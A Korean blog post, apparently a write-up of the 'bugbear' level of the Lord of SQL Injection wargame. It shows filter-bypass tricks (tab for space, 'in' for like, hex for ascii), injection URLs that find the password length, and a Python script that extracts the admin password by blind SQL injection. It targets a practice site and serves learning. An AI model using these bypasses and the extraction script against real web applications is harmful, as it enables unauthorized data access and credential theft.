cgy12306

[LOS] bugbear 본문

Wargame/LOS

[LOS] bugbear

cgy12306 2019. 8. 23. 12:58


pw에는 '(작은따옴표)가 필터링 되어 있고, no에는 substr, ascii, =, or, and, like, 0x, 공백이 필터링 되어 있다.

공백은 전에 했던 것 처럼 %09(tab)으로 우회가 가능하고 like는 in으로 우회가 가능하다.

in을 사용할 때 값이 괄호()로 덮어줘야 하고 '(작은따옴표)나 "(큰따옴표)로 묶어줘야 한다.

우선 패스워드의 길이를 알아보자.

https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?pw=123&no=1%09||%09id%09in%09("admin")%26%26length(pw)%09<%09"20"#%20


pw의 길이는 19자 이하이다.

https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?pw=123&no=1%09||%09id%09in%09(%22admin%22)%26%26length(pw)%09in%09(%228%22)#%20


최종 pw의 길이는 8글자이다. 이제 blind sql injection 코드를 짜보자.

코드 작성 시 유의할 사항은 ascii를 우회할 때 ord도 사용이 가능하지만 위에서 or이 필터링 되어 있기 때문에 ord는 사용이 불가능하다. hex로도 우회가 가능하니 hex를 사용하자.

import requests

arry=[]


cookies = {'__cfduid': '', 'PHPSESSID' : ''}
    
for k in range(1,9):
    for j in range(32,127):
        res = requests.get(url='https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?pw=123&no=1%09||%09id%09in%09("admin")%26%26hex(mid(pw,'+str(k)+',1))%09in%09("'+str(j)+'")#%20' ,cookies=cookies)
        
        if 'Hello admin' in res.text:
            print(k,' : ', j, "O")
            
            arry.append(chr(int(str(j),16))) # 16진수를 10진수로 변환

            break
        else:
            print(k,' : ' , j, "X")
    
print(arry)




비밀번호는 735c2773이다.


'Wargame > LOS' 카테고리의 다른 글

[LOS] assassin  (0) 2019.08.23
[LOS] giant  (0) 2019.08.23
[LOS] darkknight  (0) 2019.08.23
[LOS] golem  (0) 2019.08.23
[LOS] skeleton  (0) 2019.08.13
Comments